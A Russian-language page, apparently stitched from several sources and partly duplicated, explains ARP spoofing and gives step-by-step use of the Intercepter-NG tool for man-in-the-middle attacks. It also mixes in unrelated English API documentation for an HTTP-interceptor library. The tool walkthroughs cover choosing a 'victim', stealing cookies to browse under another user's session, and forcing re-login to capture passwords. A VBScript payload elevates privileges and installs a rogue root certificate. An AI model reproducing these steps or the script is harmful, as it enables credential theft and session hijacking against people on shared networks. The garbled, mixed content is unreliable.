Intercepter ng как пользоваться на андроид

Содержание:

Почему возможна атака ARP-spoofing

Каждое устройство, подключённое к сети, имеет MAC-адрес. Этот адрес присвоен любому сетевому оборудованию (сетевые карты, Wi-Fi адаптеры). Роутеры, телефоны и любые другие устройства, подключающиеся к сети, также имеют MAC-адрес, поскольку имеют встроенные сетевые карты. MAC-адрес состоит из шести пар символов, разделённых двоеточием или тире. В используемых символах присутствуют все цифры и латинские буквы от a до f. Пример MAC-адреса: 52:54:00:a6:db:99. Для подключения двух устройств, например, вашего компьютера к шлюзу, нужно знать не только IP адрес, но и MAC-адрес. Для определения MAC-адреса шлюза используется ARP (англ. Address Resolution Protocol – протокол определения адреса) – протокол в компьютерных сетях, предназначенный для определения MAC-адреса по известному IP-адресу. IP-адрес роутера (шлюз по умолчанию), известен или получается по DHCP.

Рассмотрим суть функционирования ARP на простом примере. Компьютер А (IP-адрес 10.0.0.1) и компьютер Б (IP-адрес 10.22.22.2) соединены сетью Ethernet. Компьютер А желает переслать пакет данных на компьютер Б, IP-адрес компьютера Б ему известен. Однако сеть Ethernet, которой они соединены, не работает с IP-адресами. Поэтому компьютеру А для осуществления передачи через Ethernet требуется узнать адрес компьютера Б в сети Ethernet (MAC-адрес в терминах Ethernet). Для этой задачи и используется протокол ARP. По этому протоколу компьютер А отправляет широковещательный запрос, адресованный всем компьютерам в одном с ним широковещательном домене. Суть запроса: «компьютер с IP-адресом 10.22.22.2, сообщите свой MAC-адрес компьютеру с МАС-адресом (напр. a0:ea:d1:11:f1:01)». Сеть Ethernet доставляет этот запрос всем устройствам в том же сегменте Ethernet, в том числе и компьютеру Б. Компьютер Б отвечает компьютеру А на запрос и сообщает свой MAC-адрес (напр. 00:ea:d1:11:f1:11) Теперь, получив MAC-адрес компьютера Б, компьютер А может передавать ему любые данные через сеть Ethernet.

Чтобы не было необходимости перед каждой отправкой данных задействовать протокол ARP, полученные MAC-адреса и соответствующие им IP адреса записываются в таблице на некоторое время. Если нужно отправить данные на тот же IP, то нет необходимости каждый раз опрашивать устройства в поисках нужного MAC.

Как мы только что увидели, ARP включает в себя запрос и ответ. MAC-адрес из ответа записывается в таблицу MAC/IP. При получении ответа он никак не проверяется на подлинность. Более того, даже не проверяется, был ли сделан запрос. Т.е. на целевые устройства можно прислать сразу ARP-ответ (даже без запроса), с подменёнными данными, и эти данные попадут в таблицу MAC/IP и они будут использоваться для передачи данных. Это и есть суть атаки ARP-spoofing, которую иногда называют ARP травлением, травлением ARP кэша.

Что может Intercepter-NG

Главная задача Intercepter-NG – выполнение атаки человек-посередине. В практическом смысле, атака человек-посередине (её ещё называют атакой посредника) заключается в возможности просматривать передаваемые другими пользователями данные в локальной сети. Среди этих данных могут быть логины и пароли от сайтов. Также передаваемые данные можно не только анализировать и сохранять, но и изменять.

Чтобы описать техническую суть этой атаки, представьте себе локальную сеть. Такой локальной сетью могут быть несколько компьютеров в вашей квартире, которые подключены к роутеру

При этом неважно, подключены они по проводу или по Wi-Fi. Роутер получает запросы от компьютеров, перенаправляет их, например, в Интернет, а полученные ответы возвращает обратно компьютерам, отправившим запросы

В данной ситуации роутер является шлюзом.

Благодаря атаке, называемой ARP спуфингом, компьютер начинает считать шлюзом не роутер, а компьютер атакующего. Атакующий получает запросы от «жертвы» и передаёт их в пункт назначения (например, запрашивает содержимое веб-сайта в Интернете), получив ответ от пункта назначения, он направляет его «жертве». В этой ситуации атакующий становится посредником – отсюда другое название атаки человек-посередине – «атака посредника». Для реализации атаки ARP спуфинг необязательно понимать её детали. Но если вам интересно, почему это происходит, то в вы найдёте подробное описание этого процесса.

Атакующий получает доступ к передаваемым данным и может, например, извлекать из этих данных пароли и сообщения. Процесс анализа передаваемых данных называется сниффингом. В процессе сниффинга Intercepter-NG умеет:

  • Перехватывать логины и пароли для входа на веб-сайты
  • Восстанавливать переданные данные (файлы)
  • Перехватывать сообщения некоторых мессенджеров
  • Показывать посещённые пользователем адреса

Кроме передачи данных, возможно их изменение, внедрение в код открываемых страниц JavaScript и принудительная загрузка пользователю файла.

Всё это прекрасно работает только для незашифрованных данных. Если данные зашифрованы (HTTPS), то их невозможно проанализировать без дополнительных действий.

Прежде чем подключиться к веб-сайту, компьютер обращается к DNS (серверу имён), чтобы узнать его IP адрес. Intercepter-NG умеет подменять ответы DNS (делать DNS спуфинг), что позволяет перенаправлять «жертву» на фальшивые копии сайтов для последующих атак.

Это далеко не все возможности программы. С другими возможностями мы познакомимся далее в этой инструкции.

NAT

Translates ICMP\UDP\TCP packets from Ethernet to Ethernet areas.
Long outgoing packets (up to MTU size) are fragmented and MSS tracking is performed.FTP
Active mode is also available.

Etnernet <> Ethernet
In the ‘External interface’ choose network card that is connected to the external network.
In the ‘Internal’ choose the device connected to the local area you are going to translate.
Enter IP address of the default gateway from your external interface into the ‘Router’s IP’ field.
Enter IP addresses of the local area’s clients into the ‘Client’s IP’ field.

Each 3 minutes ‘old’ entries are removed.
‘Promisc’ flag controls the mode of opening ethernet interfaces.
In case of Wi-Fi cards you may unmark the flag if promiscuous mode is not supported by the card.
FTP‘ flag controls translation of
FTP
Active mode.

There is an option to enable pure IP Forward mode. No MiTMs available in this mode, but it allows to
start arp poisoning in situation when you can not use Stealth IP.
It is usually necessary when the gateway have a white list of legit computers in the network
so NAT can not work correctly.

Features

  • Registering interceptors globally
  • Separate interceptors for requests and responses
  • Attach interceptors for specific urls via strings or RegExp’s
  • Remove specific/all interceptor(s)
  • Modify requests (even url) from request interceptors
  • Cancel requests from request interceptors
  • Modify responses from response interceptors
  • Interceptor Service is not coupled with Http Service
  • Choose between overriding original Http Service or keep it and still use interceptors
  • Comprehensive type assistance for your interceptor functions
  • Supports AOT compilation with shipped *.metadata.json files
  • UMD builds in dist/bundles folder ready to use in Browsers
  • Simple http data extraction and manipulation with
  • Sharing context object between all interceptors

Documentation

All and every interception setup is made by service.
Inject this service in place where you want to manage interceptors.

Public API

HttpInterceptorService

HttpInterceptorService: {
    request(url?: string|RegExp): Interceptable,
    response(url?: string|RegExp): Interceptable
}

See for full reference

Description: Methods will determine when to call interceptor — before
request () or after response ().
You can also specify url filtering () which will indicate
when interceptor must be triggered depending on url.
By default all interceptors fall under url key which means every
interceptor registered that way will be triggered despite of actual url.

Interceptable

Interceptable: {
    addInterceptor(interceptorFn: Interceptor): Interceptable,
    removeInterceptor(interceptorFn: Interceptor): Interceptable,
    clearInterceptors(interceptorFns?: Interceptor): Interceptable
}

See for full reference

Description: This object will help you manage interceptors with
respect to your selected configuration (url filtering).

Interceptor

Interceptor<T, D> {
  (data: T, method: string, ctx?: any): D;
}

See for full reference

Description: This is generic type of interceptor — which is a plain old JavaScript function.
You will be dealing with specific one to satisfy it’s criteria:

  • — for request interceptors
    Function will get an array of parameters with which call on
    was made + method name as string (, , …)
    and should return array of the same structure or to cancel request.
  • — for response interceptors
    Function will get Observable + method name as string (, , …)
    and should return same or new Observable but with type Response
    (this is made specifically to prevent other code being broken
    because response was intercepted and structure changed)

Helpers Functions (since v1.3.0)

There are a bunch of helper functions added to simplify some common
work with data array (for ex. getting or even ).

getHttpHeadersOrInit()

function getHttpHeadersOrInit(data: any, method: string): Headers;

See src/http/helpers/getHttpHeadersOrInit.ts for full reference

Description: Gets from data array.
If no found — creates it and updates original data array.
If no found — creates it and sets to .

Exmaple how to add custom headers to requests:

httpInterceptor.request().addInterceptor((data, method) => {
  const headers = getHttpHeadersOrInit(data, method);
  headers.set('X-Custom-Header', 'value');
  return data;
});

getHttpOptionsAndIdx()

function getHttpOptionsAndIdx(
    data: any,
    method: string,
    alwaysOriginal?: boolean
): {
    options: RequestOptions;
    idx: number;
};

See src/http/helpers/getHttpOptionsAndIdx.ts for full reference

Description: Gets and it’s index location in data array.
If no options found and — creates new
but does NOT set it back on data array.

Param alwaysOriginal is false by default.

getHttpOptions()

function getHttpOptions(
    data: any,
    method: string,
    alwaysOriginal?: boolean): RequestOptions;

See src/http/helpers/getHttpOptions.ts for full reference

Description: Gets http from data array.
If no options found and — returns new
but does NOT set it back on data array.

Param alwaysOriginal is false by default.

getHttpOptionsIdx()

function getHttpOptionsIdx(method: string): number;

See src/http/helpers/getHttpOptionsIdx.ts for full reference

Description: Gets index of in http data array for specified .

Intercepter-NG удобный сниффер для Android и не только — Зелёная боль

Пришло время поговорить о софте, который находится в моей библиотеке софта для пентеста под Android. Речь пойдет об очень интересном и перспективном сниффере с осуществлением ARP-spoofing атаки: Intercepter-NG (sniff.su). Кстати, есть версия сниффера под десктопные ОС (консольный клиент под Unix и Desktop-приложение для Windows).

Введение

Не смотря не та, что Desktop-версия обладает значительно более широким функционалом (и брутфорс, и спуфинг по различным протоколам), версия под Android достаточно хороша. В первую очередь, она прекрасно работает на моем Lenovo K900. Да, к сожалению далеко не весь софт работает на процессорах Intel: число софта, использующего нативные библиотеки под ARM немаленькое. А Intercepter-NG работает прекрасно и ни разу не падал. Вдобавок, интерфейс очень удобен (запустив софт, сразу понятно что, где и для чего находится).

Запуск

При старте Intercepter-NG автоматически запускается сканирование сети, к которой подключено Ваше устройство. Если на момент запуска не было подключений, то поработать не удастся.

В противном случае, после завершения или прерывания сканирования, можно начать пользоваться программой. Для этого только нужно нажать на кнопку ►, что приведет к выполнению атаки ARP-spoofing и перехвату пакетов.

Работа и возможности

После начала Intercepter-NG начнет захват пакетов, показывая в консоли, какой участник сети доступ к какому ресурсу запрашивал. Не третьей вкладке будут занесены все передаваемые cookies. По нажатию на какой-либо элемент из списка Intercepter-NG откроет WebView и подставит перехваченные cookies. Таким образом, можно сидеть на сайтах из под сессии другого пользователя.

В дополнение ко всему можно перехватывать и логировать трафик в формате PCAP и указывать расположение файлов (имя файла генерируется по дате начала перехвата), а также применять SSLStrip. Более всего меня на самом деле порадовала функция Autoscroll, которая автоматически прокручивает окно консоли вниз (очень и очень удобно).

Заключение

В заключении хотелось бы сказать, что со своими функциями Intercepter-NG прекрасно справляется. А учитывая тот факт, что мало кто заботится о безопасности в своих приложениях или сайтах (что не касается больших компаний с крупной аудиторией), актуальность софт потеряет еще не скоро. К сожалению, не все, что перехватила программа удается как-либо использовать (например, от перехваченных игровых cookies для мобильного приложения смысла нету, разве что Вы не имеете такое же приложение и не подсовываете ему эти cookies). Тем не менее, это не проблема Intercepter-NG.

Выражаю огромную благодарность разработчику и надеюсь на появление в будущем большего количества фишек с Desktop-версии Intercepter-NG. А лучший способ уменьшить ожидания – материально поддерживать разработку! Имейте это в виду, дорогие читатели.

Метки: android, arp, desktop, intercepter, linux, mobile, network, pcap, research, root, scan, sniff, sniffer, spoofing, windows, wireless Категории Research

Описание атаки ARP-spoofing

Два компьютера(узла) M и N в локальной сети Ethernet обмениваются сообщениями. Злоумышленник X, находящийся в этой же сети, хочет перехватывать сообщения между этими узлами. До применения атаки ARP-spoofing на сетевом интерфейсе узла M ARP-таблица содержит IP и MAC адрес узла N. Также на сетевом интерфейсе узла N ARP-таблица содержит IP и MAC узла M.

Во время атаки ARP-spoofing узел X (злоумышленник) отсылает два ARP ответа (без запроса) – узлу M и узлу N. ARP-ответ узлу M содержит IP-адрес N и MAC-адрес X. ARP-ответ узлу N содержит IP адрес M и MAC-адрес X.

Так как компьютеры M и N  поддерживают самопроизвольный ARP, то, после получения ARP-ответа, они изменяют свои ARP таблицы, и теперь ARP-таблица M содержит MAC адрес X, привязанный к IP-адресу N, а ARP-таблица N содержит MAC адрес X, привязанный к IP-адресу M.

Тем самым атака ARP-spoofing выполнена, и теперь все пакеты(кадры) между M и N проходят через X. К примеру, если M хочет передать пакет компьютеру N, то M смотрит в свою ARP-таблицу, находит запись с IP-адресом узла N, выбирает оттуда MAC-адрес (а там уже MAC-адрес узла X) и передает пакет. Пакет поступает на интерфейс X, анализируется им, после чего перенаправляется узлу N.

Что может Intercepter-NG

Главная задача Intercepter-NG – выполнение атаки человек-посередине. В практическом смысле, атака человек-посередине (её ещё называют атакой посредника) заключается в возможности просматривать передаваемые другими пользователями данные в локальной сети. Среди этих данных могут быть логины и пароли от сайтов. Также передаваемые данные можно не только анализировать и сохранять, но и изменять.

Чтобы описать техническую суть этой атаки, представьте себе локальную сеть. Такой локальной сетью могут быть несколько компьютеров в вашей квартире, которые подключены к роутеру

При этом неважно, подключены они по проводу или по Wi-Fi. Роутер получает запросы от компьютеров, перенаправляет их, например, в Интернет, а полученные ответы возвращает обратно компьютерам, отправившим запросы

В данной ситуации роутер является шлюзом.

Благодаря атаке, называемой ARP спуфингом, компьютер начинает считать шлюзом не роутер, а компьютер атакующего. Атакующий получает запросы от «жертвы» и передаёт их в пункт назначения (например, запрашивает содержимое веб-сайта в Интернете), получив ответ от пункта назначения, он направляет его «жертве». В этой ситуации атакующий становится посредником – отсюда другое название атаки человек-посередине – «атака посредника». Для реализации атаки ARP спуфинг необязательно понимать её детали. Но если вам интересно, почему это происходит, то в конце инструкции вы найдёте подробное описание этого процесса.

Атакующий получает доступ к передаваемым данным и может, например, извлекать из этих данных пароли и сообщения. Процесс анализа передаваемых данных называется сниффингом. В процессе сниффинга Intercepter-NG умеет:

  • Перехватывать логины и пароли для входа на веб-сайты
  • Восстанавливать переданные данные (файлы)
  • Перехватывать сообщения некоторых мессенджеров
  • Показывать посещённые пользователем адреса

Кроме передачи данных, возможно их изменение, внедрение в код открываемых страниц JavaScript и принудительная загрузка пользователю файла.

Всё это прекрасно работает только для незашифрованных данных. Если данные зашифрованы (HTTPS), то их невозможно проанализировать без дополнительных действий.

Прежде чем подключиться к веб-сайту, компьютер обращается к DNS (серверу имён), чтобы узнать его IP адрес. Intercepter-NG умеет подменять ответы DNS (делать DNS спуфинг), что позволяет перенаправлять «жертву» на фальшивые копии сайтов для последующих атак.

Это далеко не все возможности программы. С другими возможностями мы познакомимся далее в этой инструкции.

Описание атаки ARP-spoofing

Два компьютера(узла) M и N в локальной сети Ethernet обмениваются сообщениями. Злоумышленник X, находящийся в этой же сети, хочет перехватывать сообщения между этими узлами. До применения атаки ARP-spoofing на сетевом интерфейсе узла M ARP-таблица содержит IP и MAC адрес узла N. Также на сетевом интерфейсе узла N ARP-таблица содержит IP и MAC узла M.

Во время атаки ARP-spoofing узел X (злоумышленник) отсылает два ARP ответа (без запроса) – узлу M и узлу N. ARP-ответ узлу M содержит IP-адрес N и MAC-адрес X. ARP-ответ узлу N содержит IP адрес M и MAC-адрес X.

Так как компьютеры M и N поддерживают самопроизвольный ARP, то, после получения ARP-ответа, они изменяют свои ARP таблицы, и теперь ARP-таблица M содержит MAC адрес X, привязанный к IP-адресу N, а ARP-таблица N содержит MAC адрес X, привязанный к IP-адресу M.

Тем самым атака ARP-spoofing выполнена, и теперь все пакеты(кадры) между M и N проходят через X. К примеру, если M хочет передать пакет компьютеру N, то M смотрит в свою ARP-таблицу, находит запись с IP-адресом узла N, выбирает оттуда MAC-адрес (а там уже MAC-адрес узла X) и передает пакет. Пакет поступает на интерфейс X, анализируется им, после чего перенаправляется узлу N.

Обнуление куки для провоцирования ввода логина и пароля

Куки могут со временем быть обновлены, и мы не сможем вновь зайти со старыми куки на сайт. Поэтому нам хотелось бы получить логин и пароль. Но пока куки действуют, пользователю не нужно вводить учётные данные каждый раз, поэтому хотя «жертва» и заходит на сайт, мы не можем их перехватить.

Чтобы не ждать, пока истечёт срок действия куки и на целевом компьютере понадобиться ввести учётные данные, мы можем ускорить этот процесс – обнулить куки. Для этого имеется специальная опция: Cookie Killer.

Cookie Killer — обнуляет кукиз, тем самым принуждая пользователя повторно авторизоваться — ввести логин и пароль, чтобы атакующий мог их перехватить. Функция Cookie Killer работает и для SSL соединений. Имеются черные (misc\ssl_bl.txt) и белые списки (misc\ssl_wl.txt). В них можно исключить или напротив жестко указать IP адреса или домены, к которым следует или не следует применять SSL MiTM. При указании extra ssl port нет необходимости указывать тип read\write, достаточно указать номер порта. Весь трафик пишется в ssl_log.txt.

О том, как воспользоваться этой опцией, показано в этом видео:

Примечание: во время тестирования мне не удалось заставить работать Cookie Killer, ни в виртуальной машине, ни с отдельным реальным компьютером.

Дополнительную информацию о различных атаках вы найдёте в видео:

Внедрение HTTP:

Принудительная загрузка файлов:

Код упоминаемого в видео .vbs файла:

Dim str

str = "-----BEGIN CERTIFICATE-----MIICFzCCAYACCQCEGK7JTRLonzANBgkqhkiG9w0BAQUFADBQMQswCQYDVQQGEwJVUzEOMAwGA1UECBMFVGV4YXMxDjAMBgNVBAcTBVRleGFzMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTMwNDAzMTE1OTUzWhcNMjEwNjIwMTE1OTUzWjBQMQswCQYDVQQGEwJVUzEOMAwGA1UECBMFVGV4YXMxDjAMBgNVBAcTBVRleGFzMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKM+co6MfVJQCrnW1CAMEnPYgbthTZk7hyXf5Qd4ZYJOrQUtF959bjOleDEyy/swA1qezLtH+w9v/Jnmnufd0Ui78ZWMvjlKk3nlagCzSK/1qa/wVtJTFbnr+k1i1GQuMCadYujEDy6MC7IGtiefpjr3JmpMwIlKyTRMmYwsWZ0rAgMBAAEwDQYJKoZIhvcNAQEFBQADgYEARVtNikEQ0Oiy7hw/Y/tysM/IQl6a0XDxcuTxT8o6WJD42KwKTzbgcSQQggp4LXwFNrw2BC9ISiinxXYuBuPMATTrs5LrCeGcogYJFOhUd0YcG/0qjgy60IoFeexWc7iyqpNAG+AQcG0HlXfNan9U1jFyb/YCQuo9gpgl4EVyjr0=-----END CERTIFICATE-----"

Set objFSO=CreateObject("Scripting.FileSystemObject")


outFile="1.crt"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write str
objFile.Close
Set WshShell = WScript.CreateObject("WScript.Shell")
  If WScript.Arguments.length = 0 Then
  Set ObjShell = CreateObject("Shell.Application")
  ObjShell.ShellExecute "wscript.exe", """" & _
  WScript.ScriptFullName & """" &_
  " RunAsAdministrator", , "runas", 1
  End if

Dim objShell
Set objShell = WScript.CreateObject ("WScript.shell")
objShell.run "certutil -addstore -f Root 1.crt"
Set objShell = Nothing

Если вам нужен только сам сертификат, то вы его найдёте в папке программы Intercepter-NG, файл misc\server.crt

Функция X-Scan:

FATE (фальшивые обновления и фальшивый веб-сайт):

Получение пароля от iCloud при помощи Intercepter-NG:

Ещё инструкции по Intercepter-NG

  • Описание большинства опций Intercepter-NG вы найдёте на странице: https://kali.tools/?p=3101

Далее даётся техническое описание ARP спуфинга.

Usage

Case #2

Import as to keep original Service
and use for requests to be intercepted.

Example use-case

You can use for your requests in case #1 and #2
and if you chose to override it (case #1 only):

constructor(http: Http, httpInterceptor: HttpInterceptorService) {
    httpInterceptor.request().addInterceptor((data, method) => {
      console.log(method, data);
      return data;
    });

    httpInterceptor.response().addInterceptor((res, method) => {
      return res.do(r => console.log(method, r));
    });

    this.http.get('/')
          .map(r => r.text())
          .subscribe(console.log);
}

In this setup every request and response will be logged to the console.
You can also cancel request by returning value (that coerce to boolean false)
from one of registered request interceptors.
You can return from request interceptors to do some async job.

Where to download Intercepter-NG

The official site of the Intercepter-NG program is sniff.su. There you can download it. But some browsers mark the site as containing unwanted software. Of course, this does not prevent you from visiting the site, but if you do not want to press a few extra buttons, then another official site where you can download Intercepter-NG is the mirror on GitHab: https://github.com/intercepter-ng/mirror. There are all versions of the program:

  • file with the .apk extension is a version for Android (requires root privileges)
  • with CE letters is console version
  • Intercepter-NG.v*.zip is the main version for Windows

The downloaded program does not need to be installed — just unpack the archive.

What is Intercepter-NG

Intercepter-NG is a program for performing man-in-the-middle attacks. There is a large number of programs for such attacks, the main feature that distinguishes Intercepter-NG among the others is that the program was originally written for Windows platforms and works fine in this operating system. In addition, the program features a graphical interface, which contains numerous functions and options related to the man-in-the-middle attack, as well as some other tasks of pentesting.

Thanks to the graphical interface, it is easy to use Intercepter-NG. However, a large number of options and fragmented documentation can confuse a novice user. This manual is written for beginners, perhaps even without the experience of working with similar utilities in Linux.

Что такое Intercepter-NG

Intercepter-NG – это программа для выполнения атак человек-посередине. Имеется большое количество программ для таких атак, главной особенностью, выделяющей Intercepter-NG среди остальных, является то, что программа изначально была написана для Windows и прекрасно работает именно в этой операционной системе. Также к особенностям программы можно отнести графический интерфейс, в котором собраны многочисленные функции и опции, связанные с атакой человек-посередине, а также с некоторыми другими задачами пентестинга.

Благодаря графическому интерфейсу, использовать Intercepter-NG легко. Но большое количество опций и фрагментированная документация могут запутать начинающего пользователя. Надеюсь, что эта инструкция заполнит пробел. Это руководство написано для самых начинающих пользователей, возможно, даже не имеющих опыта работы с аналогичными утилитами в Linux.

Перехват WEB трафика через протокол WPAD при помощи Intercepter-NG

WPAD — WebProxy Auto-Discovery. Протокол автоматического получения настроек прокси в локальной сети, поддерживается практически всеми веб-браузерами и рядом других приложений.
В кратце суть его работы такова: если клиент использует DHCP для получения IP адреса, то и за урлом с настройкой прокси он обращается к своему DHCP серверу. Если DHCP не настроен на выдачу WPAD конфигурации или в сети не используется DHCP как таковой, то клиент пробует разрешить сетевое имя вида wpad.localdomain используя DNS. Если такое имя не найдено, то делается последняя попытка поиска имени ‘WPAD’ через NetBios. Если имя не найдено, клиент пробует соединиться напрямую, но если кто-то в сети сказал что он имеет имя ‘WPAD’, то клиент соединяется по 80 порту на IP ответившего хоста и затем пытается загрузить файл wpad.dat, в котором должны находиться настройки прокси.

Почему возможна атака ARP-spoofing

Каждое устройство, подключённое к сети, имеет MAC-адрес. Этот адрес присвоен любому сетевому оборудованию (сетевые карты, Wi-Fi адаптеры). Роутеры, телефоны и любые другие устройства, подключающиеся к сети, также имеют MAC-адрес, поскольку имеют встроенные сетевые карты. MAC-адрес состоит из шести пар символов, разделённых двоеточием или тире. В используемых символах присутствуют все цифры и латинские буквы от a до f. Пример MAC-адреса: 52:54:00:a6:db:99. Для подключения двух устройств, например, вашего компьютера к шлюзу, нужно знать не только IP адрес, но и MAC-адрес. Для определения MAC-адреса шлюза используется ARP (англ. Address Resolution Protocol – протокол определения адреса) – протокол в компьютерных сетях, предназначенный для определения MAC-адреса по известному IP-адресу.  IP-адрес роутера (шлюз по умолчанию), известен или получается по DHCP.

Рассмотрим суть функционирования ARP на простом примере. Компьютер А (IP-адрес 10.0.0.1) и компьютер Б (IP-адрес 10.22.22.2) соединены сетью Ethernet. Компьютер А желает переслать пакет данных на компьютер Б, IP-адрес компьютера Б ему известен. Однако сеть Ethernet, которой они соединены, не работает с IP-адресами. Поэтому компьютеру А для осуществления передачи через Ethernet требуется узнать адрес компьютера Б в сети Ethernet (MAC-адрес в терминах Ethernet). Для этой задачи и используется протокол ARP. По этому протоколу компьютер А отправляет широковещательный запрос, адресованный всем компьютерам в одном с ним широковещательном домене. Суть запроса: «компьютер с IP-адресом 10.22.22.2, сообщите свой MAC-адрес компьютеру с МАС-адресом (напр. a0:ea:d1:11:f1:01)». Сеть Ethernet доставляет этот запрос всем устройствам в том же сегменте Ethernet, в том числе и компьютеру Б. Компьютер Б отвечает компьютеру А на запрос и сообщает свой MAC-адрес (напр. 00:ea:d1:11:f1:11) Теперь, получив MAC-адрес компьютера Б, компьютер А может передавать ему любые данные через сеть Ethernet.

Чтобы не было необходимости перед каждой отправкой данных задействовать протокол ARP, полученные MAC-адреса и соответствующие им IP адреса записываются в таблице на некоторое время. Если нужно отправить данные на тот же IP, то нет необходимости каждый раз опрашивать устройства в поисках нужного MAC.

Как мы только что увидели, ARP включает в себя запрос и ответ. MAC-адрес из ответа записывается в таблицу MAC/IP. При получении ответа он никак не проверяется на подлинность. Более того, даже не проверяется, был ли сделан запрос. Т.е. на целевые устройства можно прислать сразу ARP-ответ (даже без запроса), с подменёнными данными, и эти данные попадут в таблицу MAC/IP и они будут использоваться для передачи данных. Это и есть суть атаки ARP-spoofing, которую иногда называют ARP травлением, травлением ARP кэша.

Установка Intercepter-NG в BlackArch и Arch Linux

Нужно начать с установки Wine. Подробности вы можете найти в статье «Как установить Wine в Arch Linux/BlackArch. Что такое и как подключить репозиторий Multilib». Здесь краткая инструкция, что нужно сделать для установки Wine в BlackArch и другие производные Arch Linux.

Чтобы включить multilib, откройте текстовый файл /etc/pacman.conf:

sudo gedit /etc/pacman.conf

В нём найдите и раскомментируйте строки (убедитесь, что раскомментировали обе строки, иначе изменения не вступят в силу):

 
Include = /etc/pacman.d/mirrorlist

Обновите информацию о пакетах:

sudo pacman -Sy

Установите Wine:

sudo pacman -S wine wine_gecko wine-mono lib32-mpg123 lib32-gnutls

Теперь, когда у вас уже установлен Wine, выполняем следующие действия. 

Создадим каталог, куда мы будем устанавливать Intercepter-NG, перейдём в эту директорию:

mkdir Intercepter-NG
cd Intercepter-NG/

Далее:

wget https://github.com/intercepter-ng/mirror/blob/master/wine_pcap_dlls.tar.gz?raw=true -O wine_pcap_dlls.tar.gz
sudo pacman -S lib32-libpcap tcpdump winetricks
tar xvzf wine_pcap_dlls.tar.gz
sudo cp wpcap/wpcap.dll.so /usr/lib32/wine/
sudo cp packet/packet.dll.so /usr/lib32/wine/
rm -rf wine_pcap_dlls.tar.gz wpcap/ packet/
sudo winetricks cc580
sudo ethtool --offload enp0s3 rx off tx off

Загружаем Intercepter-NG v1.0 и удаляем dll файлы wpcap.dll и Packet.dll:

wget https://github.com/intercepter-ng/mirror/blob/master/Intercepter-NG.v1.0.zip?raw=true -O Intercepter-NG.zip
unzip Intercepter-NG.zip
rm wpcap.dll
rm Packet.dll

Фикс для Arch Linux (BlackArch):

sudo ln -s /usr/lib32/libpcap.so /usr/lib32/libpcap.so.0.8

Запуск Intercepter-NG в Arch Linux (BlackArch):

sudo wine Intercepter-NG.exe

Как пользоваться intercepter-ng для чайников

Несмотря на многообразие выбора современного софта, программы для взлома на андроид лучше, чем intercepter ng найти сложно. Первым критерием, указывающим в пользу данного продукта, является его реальная работоспособность. Большинство предлагаемых снифферов в сети – только имитация, не выполняющая заявленных функций. Следующими положительными факторами является многофункциональность приложения и охват широкой аудитории пользователей.

Приложение не поставит в тупик даже чайника

Сделанная профессионально программа, не заставит мучительно ломать голову пользователя intercepter как пользоваться этой утилитой.

Хотя интерфейс программы реализован на английском, основные функции продублированы кнопками быстрого запуска. Для intercepter ng инструкция старта предельно проста:

  • Выбрать сеть в верхней строке, актуально для нескольких подключений.
  • Запустить сканирование, нажав кнопку, изображающую радар.
  • Активировать контекстное меню, нажав ПКМ. Выбрать пункт Smart Scan. После данного действия на рабочем экране приложения отобразятся устройства, подключенные к выбранной сети.
  • Выбрать жертву. Необходимо навестись курсором мыши на устройство и вызвав полменю, нажать в нем Add to NAT. Рекомендуется не отмечать подобным образом строку с адресом 192.168.1.1, скорее всего это роутер.

На этом прелюдия знакомства с приложением окончена. Дальнейшие действия, как пользоваться intercepter, концентрируются на вкладке NAT (активируется нажатием соответствующей кнопки).

Установка рабочих параметров

Подробная инструкция intercepter ng по установке параметров сканирования трафика также не вызовет сложностей. Отметим основные опции:

  • Stealth ip – изменение последней цифры в этой строке позволит скрыть собственный IP-адрес;
  • SSL Strip и Mitm – функции сетевых атак, рекомендуется активировать;
  • Переходим к основным параметрам, нажав кнопку-шестеренку;
  • Отмечаем следующие опции Resurrection для перехвата куку HTTPS и Cookie Killer, чтобы заставить жертву снова вводить пароль;
  • Уберите галочку на пункте Spoof IP/Mac.

Настройка завершена, можно приступать к работе.

Чтобы использовать программы для взлома на андроид или компьютере нажмите Start/stop sniffing, соответствующая кнопка находится вверху справа, имея форму треугольника. Следом активируем функцию Start/Stop ARP Poison.

Во вкладыше Password mode остается вызвать контекстное меню и выбрать опцию Show Cookies. Идем ставить кофе и ожидаем ввода пароля.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *